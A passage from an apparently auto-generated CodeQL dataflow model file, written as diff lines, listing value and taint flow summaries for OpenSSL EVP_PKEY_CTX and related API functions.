"EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PBE_get", "(int *,int *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EVP_PBE_get", "(int *,int *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_PKCS82PKEY", "(const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EVP_PKCS82PKEY_ex", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[**5]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[*5]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[5]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[5]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id_name]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id_name]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_uint64", "(EVP_PKEY_CTX *,int,int,int,uint64_t)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_uint64", "(EVP_PKEY_CTX *,int,int,int,uint64_t)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_dup", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_libctx", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_libctx", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_peerkey", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[**peerkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_peerkey", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*peerkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_pkey", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[**pkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_pkey", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*pkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_propq", "(const EVP_PKEY_CTX *)", "", "Argument[*0].Field[**propquery]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_propq", "(const EVP_PKEY_CTX *)", "", "Argument[*0].Field[*propquery]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_provider", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_provider", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id_len", "(EVP_PKEY_CTX *,size_t *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id_len", "(EVP_PKEY_CTX *,size_t *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id_len", "(EVP_PKEY_CTX *,size_t *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id_len", "(EVP_PKEY_CTX *,size_t *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_algor", "(EVP_PKEY_CTX *,X509_ALGOR **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_algor", "(EVP_PKEY_CTX *,X509_ALGOR **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_algor", "(EVP_PKEY_CTX *,X509_ALGOR **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_algor", "(EVP_PKEY_CTX *,X509_ALGOR **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_app_data", "(EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_app_data", "(EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_app_data", "(EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_cb", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*pkey_gencb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_data", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_data", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_data", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_keygen_info", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_operation", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*operation]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_params", "(EVP_PKEY_CTX *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_padding", "(EVP_PKEY_CTX *,int *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_padding", "(EVP_PKEY_CTX *,int *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_padding", "(EVP_PKEY_CTX *,int *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_padding", "(EVP_PKEY_CTX *,int *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_pss_saltlen", "(EVP_PKEY_CTX *,int *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_pss_saltlen", "(EVP_PKEY_CTX *,int *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_pss_saltlen", "(EVP_PKEY_CTX *,int *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_pss_saltlen", "(EVP_PKEY_CTX *,int *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new", "(EVP_PKEY *,ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new", "(EVP_PKEY *,ENGINE *)", "", "Argument[1]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**keytype]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*keytype]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_id", "(int,ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*legacy_keytype]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_id", "(int,ENGINE *)", "", "Argument[1]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_keygen_info", "(EVP_PKEY_CTX *,int *,int)", "", "Argument[*1]", "Argument[*0].Field[**keygen_info]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_keygen_info", "(EVP_PKEY_CTX *,int *,int)", "", "Argument[1]", "Argument[*0].Field[*keygen_info]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_keygen_info", "(EVP_PKEY_CTX *,int *,int)", "", "Argument[2]", "Argument[*0].Field[*keygen_info_count]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, 